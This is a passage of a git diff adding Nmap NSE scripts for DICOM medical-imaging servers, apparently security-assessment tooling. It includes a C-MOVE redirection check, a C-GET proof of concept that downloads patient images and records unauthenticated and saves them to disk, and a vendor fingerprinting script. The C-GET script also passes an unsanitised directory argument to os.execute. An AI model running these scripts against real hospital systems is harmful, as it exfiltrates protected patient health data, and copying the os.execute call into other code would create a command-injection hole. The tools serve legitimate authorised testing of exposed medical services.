+-- MAIN ACTION +----------------------------------------------------------------------- + +action = function(host, port) + local called_ae = get_arg("called_ae", "ANY-SCP") + local calling_ae = get_arg("calling_ae", "NMAP-MOVE") + local dest_ae = get_arg("dest_ae", "YOURPACS") + local study_uid = get_arg("study_uid", nil) + local series_uid = get_arg("series_uid", nil) + local pat_name = get_arg("patient_name", "*") + local pat_id = get_arg("patient_id", "") + local modality = get_arg("modality", "") + local level = get_arg("level", "STUDY"):upper() + local max_studies = tonumber(get_arg("max_studies", "1")) + local timeout_s = tonumber(get_arg("timeout", "15")) + local max_pdu = tonumber(get_arg("max_pdu", "16384")) + local info_model = get_arg("info_model", "study"):lower() + + local out = stdnse.output_table() + + out["Target AE"] = called_ae + out["Calling AE"] = calling_ae + out["MoveDestination"] = dest_ae + + -- Select Q/R SOP classes + local find_sop, move_sop + if info_model == "patient" then + find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND + move_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_MOVE + else + find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND + move_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_MOVE + end + + -- == Phase 1: Discover studies (or use provided UID) == + local studies = {} + + if study_uid then + studies[#studies + 1] = { + study_uid = study_uid, + patient_name = "(specified)", + patient_id = "", + } + out["Studies"] = "1 (specified via study_uid)" + else + local found, err = discover_studies(host, port, called_ae, calling_ae, + find_sop, pat_name, pat_id, modality, max_pdu, timeout_s, max_studies) + + if not found then + out["Error"] = "C-FIND discovery failed: " .. tostring(err) + return out + end + + if #found == 0 then + out["Result"] = "No studies found (server may require specific AE" .. + " title or filter)" + return out + end + + studies = found + out["Studies discovered"] = string.format("%d (via C-FIND)", #studies) + end + + -- == Phase 2: Send C-MOVE-RQ for each study == + local move_results = {} + local total_accepted = 0 + local total_refused = 0 + local total_failed = 0 + local total_completed_subops = 0 + + for _, study in ipairs(studies) do + if study.study_uid == "" then goto next_study end + + -- Build identifier tags for C-MOVE + local query_tags = { + {group=0x0020, elem=0x000D, vr="UI", value=study.study_uid}, + } + local move_level = level + + if series_uid and series_uid ~= "" then + query_tags[#query_tags + 1] = + {group=0x0020, elem=0x000E, vr="UI", value=series_uid} + move_level = "SERIES" + end + + stdnse.debug1("C-MOVE: requesting move of study %s (%s) -> '%s'", + study.study_uid, study.patient_name, dest_ae) + + local r = do_cmove(host, port, called_ae, calling_ae, move_sop, + query_tags, move_level, dest_ae, max_pdu, timeout_s) + + r.study_uid = study.study_uid + r.patient_name = study.patient_name + r.patient_id = study.patient_id + move_results[#move_results + 1] = r + + if r.classification == "accepted" then + total_accepted = total_accepted + 1 + total_completed_subops = total_completed_subops + r.completed + elseif r.classification == "refused" then + total_refused = total_refused + 1 + else + total_failed = total_failed + 1 + end + + ::next_study:: + end + + -- == Output == + local result_lines = {} + + for _, r in ipairs(move_results) do + local short_uid = r.study_uid + if #short_uid > 40 then + short_uid = short_uid:sub(1, 20) .. "..." .. short_uid:sub(-16) + end + + local line = string.format("Study %s - %s", short_uid, r.patient_name) + if r.patient_id ~= "" then + line = line .. string.format(" (%s)", r.patient_id) + end + result_lines[#result_lines + 1] = line + + if r.error_msg and not r.status_code then + -- Connection/association error, no C-MOVE-RSP received + result_lines[#result_lines + 1] = string.format(" Error: %s", + r.error_msg) + elseif r.status_code then + result_lines[#result_lines + 1] = string.format( + " Status: %s", r.status_str) + result_lines[#result_lines + 1] = string.format( + " Completed: %d Failed: %d Warning: %d", + r.completed, r.failed, r.warning) + + if r.error_msg then + result_lines[#result_lines + 1] = string.format( + " Error comment: %s", r.error_msg) + end + + if r.classification == "accepted" and r.completed > 0 then + result_lines[#result_lines + 1] = string.format( + " WARNING: PACS pushed %d instances to '%s'", + r.completed, dest_ae) + end + end + end + + out["C-MOVE Results"] = result_lines + + -- Summary + local total = #move_results + if total > 0 then + out["Summary"] = string.format( + "%d/%d studies: %d accepted, %d refused, %d errored", + total_accepted, total, total_accepted, total_refused, total_failed) + end + + -- Vulnerability assessment + if total_accepted > 0 then + if total_completed_subops > 0 then + out["VULNERABILITY"] = string.format( + "Server redirected %d instances to arbitrary AE '%s' - " .. + "data exfiltration via C-MOVE confirmed", + total_completed_subops, dest_ae) + else + out["VULNERABILITY"] = string.format( + "Server accepted C-MOVE to '%s' (0 sub-ops completed - " .. + "destination may be unreachable but redirection was attempted)", + dest_ae) + end + elseif total_refused > 0 and total_accepted == 0 then + -- All refused - check if it's because destination is unknown + local all_dest_unknown = true + for _, r in ipairs(move_results) do + if r.status_code ~= 0xA801 then + all_dest_unknown = false + break + end + end + if all_dest_unknown then + out["Note"] = string.format( + "C-MOVE refused: destination '%s' is unknown to the PACS. " .. + "The server validates MoveDestination against its modality list. " .. + "Try a known AE title (e.g. the server's own AE) to confirm" .. + " redirection.", + dest_ae) + else + out["Note"] = "C-MOVE was refused by the server. See status codes above." + end + end + + nmap.set_port_state(host, port, "open") + port.version.name = "dicom" + port.version.product = "DICOM SCP" + nmap.set_port_version(host, port, "hardmatched") + + return out +end diff --git a/scripts/dicom-get.nse b/scripts/dicom-get.nse new file mode 100644 index 000000000..2345af2fb --- /dev/null +++ b/scripts/dicom-get.nse @@ -0,0 +1,655 @@ +description = [[ +DICOM C-GET image retrieval and data exfiltration proof-of-concept. + +Downloads DICOM instances (images, reports, structured reports) from a PACS +via C-GET, saving them to disk as .dcm files. This demonstrates the real-world +impact of an exposed DICOM Q/R service: not just that patient data is visible +(as shown by dicom-cfind-ls), but that it can be fully exfiltrated. + +The workflow mirrors what a legitimate DICOM SCU does: + 1. C-FIND at STUDY level to discover studies (or use a known + StudyInstanceUID) + 2. C-GET at STUDY/SERIES/IMAGE level to retrieve instances + 3. For each instance, the SCP sends a C-STORE sub-operation on the same + association; this script acts as a mini-SCP, receiving and saving each + file + +C-GET is preferred over C-MOVE because it works on the same association -- +no need for the target to connect back to us, and no need for our AE to be +registered in the PACS modality list. + +Downloaded files retain the original DICOM dataset bytes and are valid .dcm +files (with a Part 10 header prepended) that can be opened in any DICOM +viewer (Horos, RadiAnt, MicroDicom, etc.). + +WARNING: This is an intrusive script. It downloads actual patient data +(PHI/PII) +from the target PACS. Only use against systems for which you have explicit +written authorisation. Downloaded files must be handled according to applicable +data protection regulations (HIPAA, GDPR, etc.). + +Requires the dicom.lua library (place in nselib/ or same directory). +]] + +--- +-- @usage +-- nmap -p 4242 --script dicom-get \ +-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.calling_ae=LAUNCHER,dicom-get.save=/tmp/exfil' +-- +-- @usage +-- # Retrieve a specific study by UID +-- nmap -p 4242 --script dicom-get \ +-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.study_uid=1.2.3.4.5,dicom-get.save=/tmp/exfil' +-- +-- @usage +-- # Retrieve only 3 studies, up to 5 instances each +-- nmap -p 4242 --script dicom-get \ +-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.max_studies=3,dicom-get.max_instances=5,dicom-get.save=/tmp/exfil' +-- +-- @args dicom-get.called_ae Target AE Title (default: "ANY-SCP") +-- @args dicom-get.calling_ae Our AE Title (default: "NMAP-GET") +-- @args dicom-get.save Directory to save retrieved .dcm files +-- (REQUIRED) +-- @args dicom-get.study_uid Specific StudyInstanceUID to retrieve +-- (default: discover via C-FIND) +-- @args dicom-get.series_uid Specific SeriesInstanceUID to retrieve +-- (requires study_uid) +-- @args dicom-get.patient_name Patient name filter for C-FIND discovery +-- (default: "*") +-- @args dicom-get.patient_id Patient ID filter for C-FIND discovery +-- (default: "") +-- @args dicom-get.modality Modality filter for C-FIND discovery +-- (default: "") +-- @args dicom-get.level Retrieval level: "STUDY", "SERIES", "IMAGE" +-- (default: "STUDY") +-- @args dicom-get.max_studies Max studies to retrieve (default: 5) +-- @args dicom-get.max_instances Max instances per study (default: 50) +-- @args dicom-get.timeout DIMSE timeout in seconds (default: 30) +-- @args dicom-get.max_pdu Max PDU Length (default: 16384) +-- @args dicom-get.info_model Q/R information model: "study" or "patient" +-- (default: "study") +-- @args dicom-get.part10 Prepend DICOM Part 10 header to saved files +-- (default: true) +-- +-- @output +-- PORT STATE SERVICE +-- 4242/tcp open dicom +-- | dicom-get: +-- | Target AE: ORTHANC Calling AE: LAUNCHER +-- | Studies discovered: 2 (via C-FIND) +-- | Retrieved: +-- | Study 1.2.826...514 - Doe^John (PT_STRATIGOS_EC2_001) +-- | Saved: 101 instances (12.4 MB) +-- | Study 1.2.826...514 - Doe, John (1) +-- | Saved: 101 instances (12.4 MB) +-- | Total: 202 instances, 24.8 MB saved to /tmp/exfil +-- | WARNING: Patient data downloaded without authentication +-- |_ +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"discovery", "intrusive"} + +local shortport = require "shortport" +local stdnse = require "stdnse" +local nmap = require "nmap" +local string = require "string" +local math = require "math" +local dicom = require "dicom" + +portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp", + "open") + +----------------------------------------------------------------------- +-- HELPERS +----------------------------------------------------------------------- + +local function get_arg(key, default) + return stdnse.get_script_args("dicom-get." .. key) or default +end + +--- Format bytes into human-readable size. +local function fmt_bytes(n) + if n < 1024 then return string.format("%d B", n) end + if n < 1024 * 1024 then return string.format("%.1f KB", n / 1024) end + return string.format("%.1f MB", n / (1024 * 1024)) +end + +--- Build a DICOM Part 10 file header (preamble + DICM + File Meta). +-- @param sop_class SOP Class UID +-- @param sop_instance SOP Instance UID +-- @param ts_uid Transfer Syntax UID +-- @return Part 10 header bytes +local function build_part10_header(sop_class, sop_instance, ts_uid) + ts_uid = ts_uid or dicom.TRANSFER_SYNTAX.EXPLICIT_LE + + -- File Meta is always Explicit VR Little Endian + local function meta_elem(group, elem, vr, val) + local tag = string.pack(" 0 then + local elems = dicom.parse_dataset(resp_ds, ts) + if elems then + studies[#studies + 1] = { + study_uid = elems["0020,000D"] or "", + patient_name = elems["0010,0010"] or "", + patient_id = elems["0010,0020"] or "", + modality = elems["0008,0061"] or "", + description = elems["0008,1030"] or "", + } + if #studies >= max_studies then + stdnse.debug1("C-FIND: max_studies (%d) reached", max_studies) + break + end + end + end + elseif status == dicom.STATUS.SUCCESS then + break + else + break + end + end + + dicom.do_release(sock, 3) + return studies +end + +----------------------------------------------------------------------- +-- C-GET RETRIEVAL +----------------------------------------------------------------------- + +--- Retrieve instances via C-GET for a single study/series. +-- The SCP sends C-STORE sub-operations on the same association. +-- This script acts as a mini-SCP: receive each C-STORE, save to disk, send +-- C-STORE-RSP. +-- +-- @param host, port Nmap host/port objects +-- @param called_ae Called AE Title +-- @param calling_ae Calling AE Title +-- @param get_sop Q/R GET SOP Class UID +-- @param query_tags Tags identifying what to retrieve +-- @param level Q/R level ("STUDY", "SERIES", "IMAGE") +-- @param max_pdu Max PDU length +-- @param timeout_s Timeout in seconds +-- @param save_dir Directory to save .dcm files +-- @param max_instances Max instances to save (0 = unlimited) +-- @param add_part10 Prepend Part 10 header +-- @return saved_count, total_bytes, error_count, file_list +local function do_cget(host, port, called_ae, calling_ae, get_sop, + query_tags, level, max_pdu, timeout_s, save_dir, + max_instances, add_part10) + -- We need to propose both the C-GET SOP class AND storage SOP classes + -- that the SCP will use for C-STORE sub-operations. + -- Propose a broad set of storage classes so we can receive any modality. + local storage_sops = { + dicom.SOP_CLASS.CT_IMAGE_STORAGE, + dicom.SOP_CLASS.MR_IMAGE_STORAGE, + dicom.SOP_CLASS.SECONDARY_CAPTURE, + dicom.SOP_CLASS.ENHANCED_CT_STORAGE, + dicom.SOP_CLASS.PET_IMAGE_STORAGE, + dicom.SOP_CLASS.RT_DOSE_STORAGE, + dicom.SOP_CLASS.RT_PLAN_STORAGE, + "1.2.840.10008.5.1.4.1.1.6.1", -- US Image Storage + "1.2.840.10008.5.1.4.1.1.1", -- CR Image Storage + "1.2.840.10008.5.1.4.1.1.1.1", -- Digital X-Ray (DX) + "1.2.840.10008.5.1.4.1.1.1.2", -- Digital Mammography + "1.2.840.10008.5.1.4.1.1.20", -- NM Image Storage + "1.2.840.10008.5.1.4.1.1.12.1", -- X-Ray Angiographic + "1.2.840.10008.5.1.4.1.1.4.1", -- Enhanced MR + "1.2.840.10008.5.1.4.1.1.128.1", -- Enhanced PET + "1.2.840.10008.5.1.4.1.1.104.1", -- Encapsulated PDF + "1.2.840.10008.5.1.4.1.1.88.11", -- Basic Text SR + "1.2.840.10008.5.1.4.1.1.88.22", -- Enhanced SR + "1.2.840.10008.5.1.4.1.1.88.33", -- Comprehensive SR + "1.2.840.10008.5.1.4.1.1.481.1", -- RT Image + "1.2.840.10008.5.1.4.1.1.481.3", -- RT Structure Set + "1.2.840.10008.5.1.4.1.1.7.1", -- Multi-frame SC (Byte) + "1.2.840.10008.5.1.4.1.1.7.2", -- Multi-frame SC (Word) + "1.2.840.10008.5.1.4.1.1.7.3", -- Multi-frame SC (True Color) + "1.2.840.10008.5.1.4.1.1.7.4", -- Multi-frame SC (Grayscale) + } + + -- Build combined SOP list: C-GET SOP first, then storage SOPs + local all_sops = {get_sop} + -- Deduplicate + local seen = {[get_sop] = true} + for _, sop in ipairs(storage_sops) do + if not seen[sop] then + seen[sop] = true + all_sops[#all_sops + 1] = sop + end + end + + -- Request SCP/SCU role reversal on the storage SOP classes so the server + -- will push retrieved instances back to us as C-STORE sub-operations + -- (mandatory for C-GET, PS3.7 §D.3.3.4). + local roles = {} + for _, sop in ipairs(storage_sops) do + roles[#roles + 1] = { uid = sop, scu = false, scp = true } + end + + local ok, sock, pctxs, server_max_pdu = dicom.do_associate( + host, port, called_ae, calling_ae, all_sops, max_pdu, timeout_s, nil, + roles) + if not ok then + return 0, 0, 0, {}, tostring(sock) + end + + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then + dicom.do_release(sock, 3) + return 0, 0, 0, {}, "No accepted presentation context for C-GET" + end + + local ts = dicom.get_accepted_ts(pctxs, pctx_id) + or dicom.TRANSFER_SYNTAX.EXPLICIT_LE + local eff_max = math.min(server_max_pdu or max_pdu, max_pdu) + + -- Build and send C-GET-RQ + local cmd_bytes = dicom.build_cget_rq(1, get_sop) + local ds_bytes = dicom.build_cget_dataset(level, query_tags, ts) + dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max) + + -- Receive loop: handle C-STORE sub-operations from the SCP + local saved = 0 + local errors = 0 + local total_bytes = 0 + local files = {} + local carry = "" + local limit_reached = false + + while true do + local pdu_type, cmd_elems, resp_ds, raw, in_pctx + pdu_type, cmd_elems, resp_ds, raw, carry, in_pctx = + dicom.recv_dimse(sock, timeout_s, carry) + -- Context to reply on for C-STORE sub-operations: the one the sub-op + -- arrived on (falls back to the C-GET context if unknown). + local store_pctx = in_pctx or pctx_id + + if not pdu_type then + stdnse.debug1("C-GET recv error: %s", tostring(raw)) + break + end + if pdu_type == dicom.PDU_CODES.ABORT then + stdnse.debug1("C-GET: received A-ABORT") + break + end + if pdu_type ~= dicom.PDU_CODES.DATA then + stdnse.debug1("C-GET: unexpected PDU 0x%02X", pdu_type) + break + end + + local cmd_field = 0 + if cmd_elems and cmd_elems["0000,0100"] then + cmd_field = cmd_elems["0000,0100"].value + end + + if cmd_field == dicom.COMMAND_FIELD.C_STORE_RQ then + -- Incoming C-STORE sub-operation + local sop_class = "" + if cmd_elems["0000,0002"] then + sop_class = tostring(cmd_elems["0000,0002"].value):gsub("%z", + ""):gsub("%s+$", "") + end + local sop_instance = "" + if cmd_elems["0000,1000"] then + sop_instance = tostring(cmd_elems["0000,1000"].value):gsub("%z", + ""):gsub("%s+$", "") + end + if sop_instance == "" then sop_instance = dicom.generate_fake_uid() end + local msg_id_rsp = 1 + if cmd_elems["0000,0110"] then + msg_id_rsp = cmd_elems["0000,0110"].value + end + + -- Determine the transfer syntax used for this C-STORE + -- The SCP uses the negotiated TS for the presentation context it chose + local store_ts = dicom.get_accepted_ts(pctxs, store_pctx) or ts + + -- Save file + if max_instances > 0 and saved >= max_instances then + -- We've reached our limit; still send RSP to be polite + if not limit_reached then + stdnse.debug1("C-GET: max_instances (%d) reached, skipping saves", + max_instances) + limit_reached = true + end + local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class, + sop_instance) + dicom.send_dimse(sock, store_pctx, rsp_cmd, nil, eff_max) + else + local filename = sop_instance:gsub("[^%w%.]", "_") .. ".dcm" + local filepath = save_dir:gsub("[/\\]+$", "") .. "/" .. filename + + local file_data + if add_part10 and resp_ds and #resp_ds > 0 then + file_data = build_part10_header(sop_class, sop_instance, store_ts) + .. resp_ds + else + file_data = resp_ds or "" + end + + local wok, werr = dicom.write_file(filepath, file_data) + if wok then + saved = saved + 1 + total_bytes = total_bytes + #file_data + files[#files + 1] = { + filename = filename, + sop_class = sop_class, + sop_instance = sop_instance, + size = #file_data, + } + stdnse.debug1("C-GET: saved %s (%s)", filename, + fmt_bytes(#file_data)) + else + errors = errors + 1 + stdnse.debug1("C-GET: save failed: %s", tostring(werr)) + end + + -- Send C-STORE-RSP (SUCCESS) + local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class, + sop_instance) + dicom.send_dimse(sock, store_pctx, rsp_cmd, nil, eff_max) + end + + elseif cmd_field == dicom.COMMAND_FIELD.C_GET_RSP then + -- C-GET-RSP: check status + local cget_status = 0xFFFF + if cmd_elems["0000,0900"] then + cget_status = cmd_elems["0000,0900"].value + end + + -- Extract progress counters if available + local remaining = 0 + local completed = 0 + if cmd_elems["0000,1020"] then + remaining = cmd_elems["0000,1020"].value + end + if cmd_elems["0000,1021"] then + completed = cmd_elems["0000,1021"].value + end + + if cget_status == dicom.STATUS.PENDING + or cget_status == dicom.STATUS.PENDING_WARN then + stdnse.debug2("C-GET: progress %d completed, %d remaining", completed, + remaining) + else + stdnse.debug1("C-GET: final status 0x%04X (%d completed)", cget_status, + completed) + break + end + else + stdnse.debug1("C-GET: unexpected command field 0x%04X", cmd_field) + end + end + + dicom.do_release(sock, 3) + return saved, total_bytes, errors, files +end + +----------------------------------------------------------------------- +-- MAIN ACTION +----------------------------------------------------------------------- + +action = function(host, port) + local called_ae = get_arg("called_ae", "ANY-SCP") + local calling_ae = get_arg("calling_ae", "NMAP-GET") + local save_dir = get_arg("save", nil) + local study_uid = get_arg("study_uid", nil) + local series_uid = get_arg("series_uid", nil) + local pat_name = get_arg("patient_name", "*") + local pat_id = get_arg("patient_id", "") + local modality = get_arg("modality", "") + local level = get_arg("level", "STUDY"):upper() + local max_studies = tonumber(get_arg("max_studies", "5")) + local max_instances = tonumber(get_arg("max_instances", "50")) + local timeout_s = tonumber(get_arg("timeout", "30")) + local max_pdu = tonumber(get_arg("max_pdu", "16384")) + local info_model = get_arg("info_model", "study"):lower() + local add_part10 = (get_arg("part10", "true")):lower() ~= "false" + + local out = stdnse.output_table() + + if not save_dir then + out["Error"] = "dicom-get.save is required. Specify a directory to save" .. + " retrieved .dcm files." + return out + end + + -- Create save directory + os.execute("mkdir -p " .. save_dir .. " 2>/dev/null") + os.execute("mkdir " .. save_dir .. " 2>nul") + + out["Target AE"] = called_ae + out["Calling AE"] = calling_ae + + -- Select Q/R SOP classes + local find_sop, get_sop + if info_model == "patient" then + find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND + get_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_GET + else + find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND + get_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_GET + end + + -- == Phase 1: Discover studies (or use provided UID) == + local studies = {} + + if study_uid then + -- User provided a specific study UID + studies[#studies + 1] = { + study_uid = study_uid, + patient_name = "(specified)", + patient_id = "", + } + out["Studies"] = "1 (specified via study_uid)" + else + -- Discover via C-FIND + local found, err = discover_studies(host, port, called_ae, calling_ae, + find_sop, pat_name, pat_id, modality, max_pdu, timeout_s, max_studies) + + if not found then + out["Error"] = "C-FIND discovery failed: " .. tostring(err) + return out + end + + if #found == 0 then + out["Result"] = "No studies found (server may require specific AE" .. + " title or filter)" + return out + end + + studies = found + out["Studies discovered"] = string.format("%d (via C-FIND)", #studies) + end + + -- == Phase 2: Retrieve each study via C-GET == + local results = {} + local grand_total_saved = 0 + local grand_total_bytes = 0 + local grand_total_errors = 0 + + for _, study in ipairs(studies) do + if study.study_uid == "" then goto next_study end + + -- Build query tags for C-GET + local query_tags = { + {group=0x0020, elem=0x000D, vr="UI", value=study.study_uid}, + } + local get_level = level + + -- If series_uid is specified, add it and set level to SERIES + if series_uid and series_uid ~= "" then + query_tags[#query_tags + 1] = + {group=0x0020, elem=0x000E, vr="UI", value=series_uid} + get_level = "SERIES" + end + + stdnse.debug1("C-GET: retrieving study %s (%s)", + study.study_uid, study.patient_name) + + local saved, total_bytes, errs, files = do_cget( + host, port, called_ae, calling_ae, get_sop, + query_tags, get_level, max_pdu, timeout_s, save_dir, + max_instances, add_part10) + + results[#results + 1] = { + study_uid = study.study_uid, + patient_name = study.patient_name, + patient_id = study.patient_id, + saved = saved, + errors = errs, + total_bytes = total_bytes, + files = files, + } + + grand_total_saved = grand_total_saved + saved + grand_total_bytes = grand_total_bytes + total_bytes + grand_total_errors = grand_total_errors + errs + + ::next_study:: + end + + -- == Output == + local study_lines = {} + for _, r in ipairs(results) do + local short_uid = r.study_uid + if #short_uid > 40 then + short_uid = short_uid:sub(1, 20) .. "..." .. short_uid:sub(-16) + end + + local line = string.format("Study %s - %s", short_uid, r.patient_name) + if r.patient_id ~= "" then + line = line .. string.format(" (%s)", r.patient_id) + end + study_lines[#study_lines + 1] = line + + if r.saved > 0 then + study_lines[#study_lines + 1] = string.format( + " Saved: %d instances (%s)", r.saved, fmt_bytes(r.total_bytes)) + end + if r.errors > 0 then + study_lines[#study_lines + 1] = string.format( + " Errors: %d instances failed to save", r.errors) + end + if r.saved == 0 and r.errors == 0 then + study_lines[#study_lines + 1] = " No instances retrieved (C-GET may" .. + " not be supported)" + end + end + out["Retrieved"] = study_lines + + out["Total"] = string.format("%d instances, %s saved to %s", + grand_total_saved, fmt_bytes(grand_total_bytes), save_dir) + + if grand_total_errors > 0 then + out["Errors"] = string.format("%d instances failed", grand_total_errors) + end + + if grand_total_saved > 0 then + out["WARNING"] = "Patient data (PHI) downloaded without authentication" + elseif #studies > 0 then + out["Note"] = "Studies found but no instances retrieved. " .. + "Server may not support C-GET (try C-MOVE instead), " .. + "or storage SOP classes were rejected." + end + + nmap.set_port_state(host, port, "open") + port.version.name = "dicom" + port.version.product = "DICOM SCP" + nmap.set_port_version(host, port, "hardmatched") + + return out +end diff --git a/scripts/dicom-info.nse b/scripts/dicom-info.nse new file mode 100644 index 000000000..d4cb37cf1 --- /dev/null +++ b/scripts/dicom-info.nse @@ -0,0 +1,743 @@ +description = [[ +DICOM service fingerprinter and capability enumerator. + +Connects to a DICOM SCP (Service Class Provider) and extracts: + * Implementation Class UID and Version Name (software identification) + * Supported SOP Classes (storage, query/retrieve, workflow services) + * Accepted Transfer Syntaxes per SOP Class + * Maximum PDU length + * Protocol version + * AE Title echo + +The Implementation Class UID and Version Name are set by the DICOM software +at build time and uniquely identify the vendor and version -- the DICOM +equivalent of an HTTP Server header. A fingerprint database maps known UIDs +to software names: DCMTK, Orthanc, Horos, dcm4chee, etc. + +SOP Class probing reveals what services the target exposes: image storage +(CT, MR, US, ...), query/retrieve (C-FIND, C-MOVE, C-GET), modality +worklist, MPPS, and storage commitment. Each accepted SOP class is an +entry point for further testing with dicom-cfind-ls or dicom-store-fuzzer. + +Transfer syntax enumeration reveals encoding capabilities: Implicit/Explicit +VR, compressed formats (JPEG, JPEG-LS, JPEG 2000, RLE), and the deprecated +Explicit VR Big Endian. Compressed transfer syntaxes exercise additional +codec code paths in the target. + +This script is non-intrusive -- it only performs A-ASSOCIATE negotiations +and does not send any DIMSE commands or patient data. + +Requires the dicom.lua library (place in nselib/ or same directory). +]] + +--- +-- @usage +-- nmap -p 104,11112,4242 --script dicom-info +-- +-- @usage +-- nmap -p 4242 --script dicom-info \ +-- --script-args 'dicom-info.called_ae=ORTHANC,dicom-info.calling_ae=FINDSCU' +-- +-- @usage +-- nmap -p 11112 --script dicom-info \ +-- --script-args 'dicom-info.probe=full' +-- +-- @args dicom-info.called_ae Called AE Title (default: "ANY-SCP") +-- @args dicom-info.calling_ae Calling AE Title (default: "NMAP-INFO") +-- @args dicom-info.timeout Association timeout in seconds (default: 10) +-- @args dicom-info.max_pdu Max PDU Length to propose (default: 16384) +-- @args dicom-info.probe Probe depth: "basic" (fingerprint only), +-- "standard" (+ common SOP classes), +-- "full" (+ all storage + workflow SOP classes) +-- (default: "standard") +-- @args dicom.tls Force transport for the whole DICOM suite: +-- "true" (DICOM over TLS), "false" (plaintext), or +-- unset to auto-detect (dicom-info only) +-- +-- @output +-- PORT STATE SERVICE +-- 4242/tcp open dicom +-- | dicom-info: +-- | Implementation: Orthanc 1.12.4 +-- | Class UID: 1.2.826.0.1.3680043.2.1545.1.2.1.7 +-- | Version: Orthanc +-- | Max PDU: 16384 +-- | Protocol Version: 1 +-- | Accepted SOP Classes (15 of 42 probed): +-- | C-ECHO Verification 1.2.840.10008.1.1 +-- | CT Image Storage 1.2.840.10008.5.1.4.1.1.2 +-- | MR Image Storage 1.2.840.10008.5.1.4.1.1.4 +-- | Secondary Capture Image Storage 1.2.840.10008.5.1.4.1.1.7 +-- | Study Root Q/R - FIND 1.2.840.10008.5.1.4.1.2.2.1 +-- | Study Root Q/R - MOVE 1.2.840.10008.5.1.4.1.2.2.2 +-- | Study Root Q/R - GET 1.2.840.10008.5.1.4.1.2.2.3 +-- | ... +-- | Accepted Transfer Syntaxes: +-- | Implicit VR Little Endian 1.2.840.10008.1.2 +-- | Explicit VR Little Endian 1.2.840.10008.1.2.1 +-- | Security: No TLS (plaintext DICOM association) +-- |_ WARNING: DICOM service accessible without authentication +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"default", "discovery", "safe"} + +local shortport = require "shortport" +local stdnse = require "stdnse" +local nmap = require "nmap" +local string = require "string" +local math = require "math" +local dicom = require "dicom" + +portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp", + "open") + +----------------------------------------------------------------------- +-- IMPLEMENTATION FINGERPRINT DATABASE +----------------------------------------------------------------------- +-- Maps Implementation Class UIDs to vendor/product names. +-- Sources: DICOM standard PS3.7 Annex E, vendor documentation, +-- observed values from real deployments. + +local IMPL_DB = { + -- DCMTK (OFFIS) + ["1.2.276.0.7230010.3.0.3.6.0"] = "DCMTK 3.6.0", + ["1.2.276.0.7230010.3.0.3.6.1"] = "DCMTK 3.6.1", + ["1.2.276.0.7230010.3.0.3.6.2"] = "DCMTK 3.6.2", + ["1.2.276.0.7230010.3.0.3.6.3"] = "DCMTK 3.6.3", + ["1.2.276.0.7230010.3.0.3.6.4"] = "DCMTK 3.6.4", + ["1.2.276.0.7230010.3.0.3.6.5"] = "DCMTK 3.6.5", + ["1.2.276.0.7230010.3.0.3.6.6"] = "DCMTK 3.6.6", + ["1.2.276.0.7230010.3.0.3.6.7"] = "DCMTK 3.6.7", + ["1.2.276.0.7230010.3.0.3.6.8"] = "DCMTK 3.6.8", + -- Orthanc + ["1.2.826.0.1.3680043.2.1545.1.2.1.7"] = "Orthanc", + -- dcm4che / dcm4chee + ["1.2.40.0.13.1.1"] = "dcm4che", + ["1.2.40.0.13.1.3"] = "dcm4chee Archive", + -- GDCM + ["1.2.826.0.1.3680043.2.1143.107.104.103.115.2"] = "GDCM", + -- pydicom / pynetdicom + ["1.2.826.0.1.3680043.9.3811.2.0.1"] = "pynetdicom", + ["1.2.826.0.1.3680043.8.498.1"] = "pydicom", + -- Horos / OsiriX + ["1.2.276.0.7238010.3.0.3.6.0"] = "Horos (OsiriX fork)", + ["2.16.756.5.5.100.3611.1.1"] = "OsiriX", + -- ClearCanvas + ["1.2.826.0.1.3680043.2.1343.8806"] = "ClearCanvas", + -- Merge DICOM Toolkit + ["1.2.826.0.1.3680043.2.46.1.1"] = "Merge DICOM Toolkit", + -- Conquest DICOM + ["1.2.826.0.1.3680043.2.135.1066.101"] = "Conquest DICOM", + -- MicroDicom + ["1.2.826.0.1.3680043.2.1545.1.2.1.9"] = "MicroDicom", + -- FO-DICOM (.NET) + ["1.3.6.1.4.1.30071.8"] = "fo-dicom", + -- Philips Healthcare + ["1.3.46.670589.50"] = "Philips Healthcare", + -- GE Healthcare + ["1.2.840.113619.6.5"] = "GE Healthcare", + -- Siemens Healthineers + ["1.3.12.2.1107.5.8.1"] = "Siemens Healthineers", + -- Agfa Healthcare + ["1.2.124.113532.3500.8.1"] = "Agfa HealthCare IMPAX", + -- Carestream + ["1.2.840.113564.3.5"] = "Carestream Health", + -- Fujifilm + ["1.2.392.200036.9116.7.8.1.1"] = "Fujifilm Synapse", + -- Canon Medical (Toshiba) + ["1.2.392.200036.9116.7.1.1"] = "Canon Medical / Toshiba", + -- Sectra + ["1.2.752.24.7.123"] = "Sectra IDS7", + -- Visage Imaging + ["1.2.826.0.1.3680043.2.228.1"] = "Visage Imaging", +} + +-- Partial prefix matching for vendors with many sub-versions +local IMPL_PREFIX = { + ["1.2.276.0.7230010.3.0.3."] = "DCMTK", + ["1.2.826.0.1.3680043.2.1545."] = "Orthanc", + ["1.2.40.0.13."] = "dcm4che/dcm4chee", + ["1.3.46.670589."] = "Philips Healthcare", + ["1.2.840.113619."] = "GE Healthcare", + ["1.3.12.2.1107."] = "Siemens Healthineers", + ["1.2.124.113532."] = "Agfa HealthCare", + ["1.2.840.113564."] = "Carestream Health", + ["1.2.392.200036."] = "Fujifilm/Canon Medical", + 